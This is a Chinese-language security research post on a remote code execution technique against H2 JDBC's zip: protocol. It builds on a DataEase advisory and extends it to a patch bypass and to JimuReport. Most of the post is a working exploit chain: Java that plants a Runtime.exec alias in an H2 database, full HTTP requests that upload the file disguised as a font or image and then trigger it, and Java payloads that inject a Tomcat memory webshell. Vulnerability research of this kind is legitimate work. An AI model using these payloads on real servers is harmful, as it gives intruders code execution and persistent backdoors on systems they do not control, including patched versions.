由DataEase漏洞引出的另一种H2 JDBC RCE#

漏洞原文

https://github.com/dataease/dataease/security/advisories/GHSA-cjmg-jqmc-xj5v

当时看到这个漏洞wp很诧异,h2居然还能解析zip中的db文件

本地测试#

然后我马上在我本地尝试了一下

      <dependency>
          <groupId>com.h2database</groupId>
          <artifactId>h2</artifactId>
          <version>2.2.220</version>
      </dependency>

测试代码如下

package JDBC;

import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.ResultSet;
import java.sql.Statement;

public class H2JDBC {
    public static void main(String[] args) throws Exception {
        genh2db();
        String url = "jdbc:h2:zip:/path/to/h2test.zip!/test";
        Connection conn = DriverManager.getConnection(url, "sa", "");
        Statement stmt = conn.createStatement();
        String sql = "SELECT INVOKE('calc')";
        ResultSet rs = stmt.executeQuery(sql);
        if (rs.next()) {
            System.out.println("执行结果: " + rs.getString(1));
        }
    }
    public static void genh2db() throws Exception{
        String url = "jdbc:h2:./test";
        Connection conn = DriverManager.getConnection(url, "sa", "");
        Statement stmt = conn.createStatement();

        String payload = "CREATE ALIAS IF NOT EXISTS INVOKE AS '" +
                "String java_exec(String cmd) throws Exception { " +
                "Runtime.getRuntime().exec(cmd); return \"done\"; }'";

        stmt.execute(payload);

        stmt.close();
        conn.close();
        System.out.println("test.mv.db文件已成功生成");
    }
}

genh2db方法会生成test.mv.db文件,生成后将其压缩为zip文件,然后通过jdbcurl进行连接。这里的默认用户名sa必须写,不然会抛出Wrong username or password的异常

H2 zip:协议工作原理

当 H2 驱动看到 zip: 前缀时,它会执行以下操作:

  1. 解压并打开指定的 .zip 文件。
  2. 在压缩包根目录下寻找名为 databaseName.mv.db 的文件。
  3. 以“只读(Read-Only)”模式加载该数据库。

在测试代码中,h2首先会解压h2test.zip文件,然后寻找名为test.mv.db的文件,加载我们写好的恶意payload数据库,最后执行恶意函数实现远程代码执行

漏洞复现#

在DataEase中存在/de2api/datasource/uploadFile接口允许上传zip文件,同时会返回zip文件绝对路径

image-20260601161115630

之后加载并保存h2数据源配置

POST /api/datasource/save HTTP/1.1
Host: 192.168.239.1:8080
Content-Length: 650
Accept-Language: zh-CN
Accept: application/json, text/plain, */*
Content-Type: application/json
X-DE-TOKEN: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1aWQiOjEsIm9pZCI6MX0.UK4jQ8CzyC8nylz_eAFZMa8agK9vCF2zt9GQENwXbV0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36
Origin: http://192.168.239.1:8080
Referer: http://192.168.239.1:8080/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

{"id":"","name":"test","description":"","type":"h2","apiConfiguration":"","paramsConfiguration":[],"enableDataFill":false,"configuration":"eyJkYXRhQmFzZSI6IiIsImpkYmMiOiJqZGJjOmgyOnppcDpEOi9pZGVhL3Byb2plY3QvZGF0YWVhc2UtMi4xMC4yMi9kYXRhL2V4Y2VsLzc0NTc5ZmI1LWM5NDUtNGNlZS04ODkyLTRiZTlhYWVjNGNkMi56aXAhL3Rlc3QiLCJ1cmxUeXBlIjoiamRiY1VybCIsInNzaFR5cGUiOiJwYXNzd29yZCIsImV4dHJhUGFyYW1zIjoiIiwidXNlcm5hbWUiOiJzYSIsInBhc3N3b3JkIjoiIiwiaG9zdCI6IiIsImF1dGhNZXRob2QiOiIiLCJwb3J0IjowLCJzc2xDQSI6IiIsInNzbENlcnQiOiIiLCJzc2xLZXkiOiIiLCJpbml0aWFsUG9vbFNpemUiOjUwLCJtaW5Qb29sU2l6ZSI6NTAsIm1heFBvb2xTaXplIjoxMDAsInF1ZXJ5VGltZW91dCI6MzB9","syncSetting":null,"pid":"0"}

base64解码payload,需要注意的是username字段需要写上sa

{"dataBase":"","jdbc":"jdbc:h2:zip:/opt/dataease2.0/data/excel/d7d6ef3c-6178-46bd-8381-7b9ad02922b0.zip!/test","urlType":"jdbcUrl","sshType":"password","extraParams":"","username":"sa","password":"","host":"","authMethod":"","port":0,"sslCA":"","sslCert":"","sslKey":"","initialPoolSize":50,"minPoolSize":50,"maxPoolSize":100,"queryTimeout":30}

上一步拿到datasourceId值,替换后执行sql

POST /de2api/datasetData/previewSql HTTP/1.1
Host: 192.168.239.1:8080
Content-Length: 137
Accept-Language: zh-CN
Accept: application/json, text/plain, */*
Content-Type: application/json
X-DE-TOKEN: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1aWQiOjEsIm9pZCI6MSwiZXhwIjoxNzgwMzYwNDA2fQ.IU_EdZ4iisSliWXyfg-mLg9O6wmjDwf3hUXuqBZtfhw
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36
Origin: http://192.168.239.1:8080
Referer: http://192.168.239.1:8080/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

{"isCross":false,"sql":"U0VMRUNUIElOVk9LRSgndG91Y2ggL3RtcC9zdWNjZXNzJyk=","datasourceId":"{datasourceId}","sqlVariableDetails":"[]"}

调用INVOKE函数

SELECT INVOKE('touch /tmp/success')

image-20260601165019379

执行如果页面报错element cannot be mapped to a null key,删除刚刚的h2数据源即可恢复正常

GET /de2api/datasource/delete/{datasourceId} HTTP/1.1
Host: 192.168.239.1:8080
Accept-Language: zh-CN
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36
X-DE-TOKEN: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1aWQiOjEsIm9pZCI6MSwiZXhwIjoxNzgwMzYwNDA2fQ.IU_EdZ4iisSliWXyfg-mLg9O6wmjDwf3hUXuqBZtfhw
Referer: http://192.168.239.1:8080/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

打内存马#

选择tomcat+jakartaListener即可

image-20260602141743129

生成新的test.mv.db(踩坑记录:注意需要先删除旧的test.mv.db)

public static void genh2db() throws Exception {
        // 1. 指定本地生成的数据库文件路径和账号
        String url = "jdbc:h2:./test";
        Connection conn = DriverManager.getConnection(url, "sa", "");
        Statement stmt = conn.createStatement();

        String payload = "CREATE ALIAS IF NOT EXISTS AQWSSSAZ AS '" +
                "String shellexec(String abc) throws java.lang.Exception { " +
                "   byte[] standBytes = null; " +
                "   String tomcatStr = \"yv66.....\";" +
                "   java.lang.Class unsafeClass = java.lang.Class.forName(\"sun.misc.Unsafe\"); " +
                "   java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField(\"theUnsafe\"); " +
                "   unsafeField.setAccessible(true); " +
                "   sun.misc.Unsafe unsafe = (sun.misc.Unsafe) unsafeField.get(null); " +
                "   java.lang.Module module = java.lang.Object.class.getModule(); " +
                "   java.lang.Class cls = AQWSSSAZ.class; " +
                "   long offset = unsafe.objectFieldOffset(java.lang.Class.class.getDeclaredField(\"module\")); " +
                "   unsafe.getAndSetObject(cls, offset, module); " +
                "   java.lang.reflect.Method defineClass = java.lang.ClassLoader.class.getDeclaredMethod(\"defineClass\", byte[].class, java.lang.Integer.TYPE, java.lang.Integer.TYPE); " +
                "   defineClass.setAccessible(true); " +
                "   byte[] bytecode = java.util.Base64.getDecoder().decode(tomcatStr); " +
                "   java.lang.Class clazz = (java.lang.Class) defineClass.invoke(java.lang.Thread.currentThread().getContextClassLoader(), bytecode, 0, bytecode.length); " +
                "   clazz.newInstance(); " +
                "   return \"test\"; " +
                "}'";

        // 3. 执行 SQL 将别名函数写入系统表中
        stmt.execute(payload);

        // 4. 关闭连接确保数据完整写入磁盘
        stmt.close();
        conn.close();
        System.out.println("成功按照指定的 Payload 将 AQWSSSAZ 别名函数写入本地 test.mv.db 文件。");
    }

然后按照poc打即可,注意最后修改一下sql语句,调用AQWSSSAZ方法

SELECT AQWSSSAZ('123')

后续思考#

后缀bypass#

经过本地测试发现H2 zip协议不限制后缀,只要是zip格式都能正常解压,后缀无限制,于是就有了dataease2.10.23版本的bypass

查看commit发现io/dataease/datasource/server/DatasourceServer#uploadFile这个方法增加了后缀白名单

同时,如果上传xlsx后缀的zip文件,ExcelUtils.getTables方法会抛出格式不正确的异常

image-20260602165604956

因此找到了另一个上传方法io/dataease/font/manage/FontManage#saveFile,此方法虽然限制了文件后缀为ttf,但并没有校验文件内容,也不会删除,所以可以上传一个后缀为ttf的zip格式文件。

image-20260603140601065

zip文件改个后缀上传即可

POST /de2api/typeface/uploadFile HTTP/1.1
Host: 192.168.239.138:8100
Content-Length: 1441
Accept-Language: zh-CN
Accept: application/json, text/plain, */*
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryTBXt7gnsZ4zAVkxW
X-DE-TOKEN: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1aWQiOjEsIm9pZCI6MSwiZXhwIjoxNzgwNTIzODEzfQ.2K6pLNXu_p7ap2WEFbeRBM8lXouh-4JuakVg-Kws1ME
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36
Origin: http://192.168.239.138:8100
Referer: http://192.168.239.138:8100/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

------WebKitFormBoundaryTBXt7gnsZ4zAVkxW
Content-Disposition: form-data; name="file"; filename="test.mv.ttf"
Content-Type: application/octet-stream

xxxx
------WebKitFormBoundaryTBXt7gnsZ4zAVkxW--

拿到文件绝对路径/opt/dataease2.0/data/font/b397c2fc-4c4c-45ef-82f8-0343561cb949.ttf后,之后的步骤和之前相同

io/dataease/font/manage/FontManage#saveFile代码

可以看到fileOutputStream.write(file.getBytes());这一步直接写入文件,后续没有任何校验或删除操作

private FontDto saveFile(MultipartFile file, String fileNameUUID) throws DEException {
        FontDto fontDto = new FontDto();
        try {
            String filename = file.getOriginalFilename();
            if (StringUtils.isEmpty(filename) || !filename.toLowerCase().endsWith(".ttf")) {
                DEException.throwException("非法格式的文件!");
            }
            String suffix = filename.substring(filename.lastIndexOf(".") + 1);
            String filePath = path + fileNameUUID + "." + suffix;
            File f = new File(filePath);
            FileOutputStream fileOutputStream = new FileOutputStream(f);
            fileOutputStream.write(file.getBytes());
            fileOutputStream.flush();
            fileOutputStream.close();
            fontDto.setFileTransName(fileNameUUID + "." + suffix);

            long length = file.getSize();
            String unit = "MB";
            Double size = 0.0;
            if ((double) length / 1024 / 1024 > 1) {
                if ((double) length / 1024 / 1024 / 1024 > 1) {
                    unit = "GB";
                    size = Double.valueOf(String.format("%.2f", (double) length / 1024 / 1024 / 1024));
                } else {
                    size = Double.valueOf(String.format("%.2f", (double) length / 1024 / 1024));
                }
            } else {
                unit = "KB";
                size = Double.valueOf(String.format("%.2f", (double) length / 1024));
            }
            Font font = Font.createFont(Font.TRUETYPE_FONT, new File(filePath));
            fontDto.setSize(size);
            fontDto.setSizeType(unit);
            fontDto.setName(font.getFontName());
        } catch (Exception e) {
            DEException.throwException(e);
        }
        return fontDto;
    }

路径限制#

既然后缀无限制,那么路径是否也可以用相对路径呢?

测试时发现h2是基于System.getProperty("user.dir")来作为工作目录的,那么某些上传目录在工作目录下的项目,就不需要知道绝对路径就能利用。

        String url = "jdbc:h2:zip:../../../test.mv_1780475998387.mv.jpg!/test";
        Connection conn = DriverManager.getConnection(url, "sa", "");
        Statement stmt = conn.createStatement();
        String sql = "SELECT INVOKE('calc')";
        ResultSet rs = stmt.executeQuery(sql);
        if (rs.next()) {
            System.out.println("执行结果: " + rs.getString(1));
        }

其他例子#

以jimureport-latest2.3.4为例

/jmreport/upload接口可以上传jpg文件,但不检测文件头

POST /jmreport/upload HTTP/1.1
Host: 192.168.239.138:8085
Content-Length: 10346
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36
X-Access-Token: 226853cd-d0a4-4684-bb88-c50611cfbd91
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarys1rEBGgex5zX6CI5
Accept: */*
Origin: http://192.168.239.138:8085
Referer: http://192.168.239.138:8085/drag/list
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=22C861AF55521C09D476CCA648FFCBA4; Hm_lvt_5819d05c0869771ff6e6a81cdec5b2e8=1780553750,1780623151; HMACCOUNT=93D1934483419A2C; Hm_lvt_c37f4573e086c82c1c0cc22e1b9d38a1=1780563638,1780624389; Hm_lpvt_c37f4573e086c82c1c0cc22e1b9d38a1=1780624519; X-Access-Token=10d046c8-c791-46ad-abcb-0f31393c1c0c; Hm_lpvt_5819d05c0869771ff6e6a81cdec5b2e8=1780628112
Connection: keep-alive

------WebKitFormBoundarys1rEBGgex5zX6CI5
Content-Disposition: form-data; name="file"; filename="test.mv.jpg"
Content-Type: image/jpeg

xxx
------WebKitFormBoundarys1rEBGgex5zX6CI5--

返回的body如下,相对路径jimureport/test.mv_1780629810324.mv.jpg,而积木报表默认的上传路径为/opt/upload,那么拼接得到绝对路径/opt/upload/jimureport/test.mv_1780629810324.mv.jpg

{"success":true,"message":"jimureport/test.mv_1780629810324.mv.jpg","code":0,"result":null,"timestamp":1780629810324}

添加数据源

POST /jmreport/addDataSource HTTP/1.1
Host: 192.168.239.138:8085
Content-Length: 221
tenantId: null
X-TIMESTAMP: 1780629823511
X-Access-Token: 10d046c8-c791-46ad-abcb-0f31393c1c0c
X-Sign: 5724777E1C64CF667831009FE741056E
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36
Accept: application/json, text/plain, */*
Content-Type: application/json;charset=UTF-8
X-Tenant-Id: null
token: 10d046c8-c791-46ad-abcb-0f31393c1c0c
JmReport-Tenant-Id: null
Origin: http://192.168.239.138:8085
Referer: http://192.168.239.138:8085/doLogin?username=admin&password=123456
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive

{"id":"1222063017207087104","reportId":"","code":"","name":"test","dbType":"H2","dbDriver":"org.h2.Driver","dbUrl":"jdbc:h2:zip:/opt/upload/jimureport/test.mv_1780629810324.mv.jpg!/test","dbUsername":"sa","dbPassword":""}

执行sql语句select AQWSSSAZ('123')

POST /jmreport/queryFieldBySql HTTP/1.1
Host: 192.168.239.138:8085
Content-Length: 76
tenantId: null
X-TIMESTAMP: 1780629825783
X-Access-Token: 10d046c8-c791-46ad-abcb-0f31393c1c0c
X-Sign: 1D7EAA656FD3283F1AA7B656C9CEFB3C
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36
Accept: application/json, text/plain, */*
Content-Type: application/json;charset=UTF-8
X-Tenant-Id: null
token: 10d046c8-c791-46ad-abcb-0f31393c1c0c
JmReport-Tenant-Id: null
Origin: http://192.168.239.138:8085
Referer: http://192.168.239.138:8085/doLogin?username=admin&password=123456
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=22C861AF55521C09D476CCA648FFCBA4; Hm_lvt_5819d05c0869771ff6e6a81cdec5b2e8=1780553750,1780623151; HMACCOUNT=93D1934483419A2C; Hm_lvt_c37f4573e086c82c1c0cc22e1b9d38a1=1780563638,1780624389; Hm_lpvt_c37f4573e086c82c1c0cc22e1b9d38a1=1780624519; X-Access-Token=10d046c8-c791-46ad-abcb-0f31393c1c0c; Hm_lpvt_5819d05c0869771ff6e6a81cdec5b2e8=1780628112
Connection: keep-alive

{"sql":"select AQWSSSAZ('123')","dbSource":"1222063017207087104","type":"0"}

生成db文件的命令执行payload和上面的一样,内存马的payload稍微有点不同,内存马类型同样选tomcat+jakartaListener

    public static void genh2db() throws Exception {
        String url = "jdbc:h2:./test";
        try (Connection conn = DriverManager.getConnection(url, "sa", "");
             Statement stmt = conn.createStatement()) {

            String payload = "CREATE ALIAS IF NOT EXISTS AQWSSSAZ AS $$\n" +
                    "String execPayload(String cmd) {\n" +
                    "    try {\n" +
                    "        String b64 = \"yv66...\";\n" +
                    "        byte[] code = java.util.Base64.getDecoder().decode(b64);\n" +
                    "        Class<?> unsafeClass = Class.forName(\"sun.misc.Unsafe\");\n" +
                    "        java.lang.reflect.Field f = unsafeClass.getDeclaredField(\"theUnsafe\");\n" +
                    "        f.setAccessible(true);\n" +
                    "        Object unsafe = f.get(null);\n" +
                    "        java.lang.reflect.Method objectFieldOffset = unsafeClass.getDeclaredMethod(\"objectFieldOffset\", java.lang.reflect.Field.class);\n" +
                    "        java.lang.reflect.Method getAndSetObject = unsafeClass.getDeclaredMethod(\"getAndSetObject\", Object.class, long.class, Object.class);\n" +
                    "        String currentClassName = Thread.currentThread().getStackTrace()[1].getClassName();\n" +
                    "        Class<?> self = Class.forName(currentClassName);\n" +
                    "        java.lang.reflect.Field moduleField = Class.class.getDeclaredField(\"module\");\n" +
                    "        long offset = (long) objectFieldOffset.invoke(unsafe, moduleField);\n" +
                    "        Object javaBaseModule = Object.class.getModule();\n" +
                    "        getAndSetObject.invoke(unsafe, self, offset, javaBaseModule);\n" +
                    "        java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod(\"defineClass\", byte[].class, int.class, int.class);\n" +
                    "        defineClass.setAccessible(true);\n" +
                    "        Class<?> loaded = (Class<?>) defineClass.invoke(Thread.currentThread().getContextClassLoader(), code, 0, code.length);\n" +
                    "        loaded.getDeclaredConstructor().newInstance();\n" +
                    "        return \"Success\";\n" +
                    "    } catch (Throwable t) {\n" +
                    "        return \"Error: \" + t.toString();\n" +
                    "    }\n" +
                    "}\n$$";
            stmt.execute(payload);
            System.out.println("别名函数 AQWSSSAZ 创建成功");
        }
    }

其实这个漏洞唯一的限制就是获取上传文件的路径,如果用户更改了默认上传路径并且不在工作目录下,那就比较棘手了

还需要注意的一点是如果目标是用docker compose启动的jimureport那么此漏洞会失效,因为容器内的java环境是简易的jre环境,缺少javac和js引擎,无法编译和解析java代码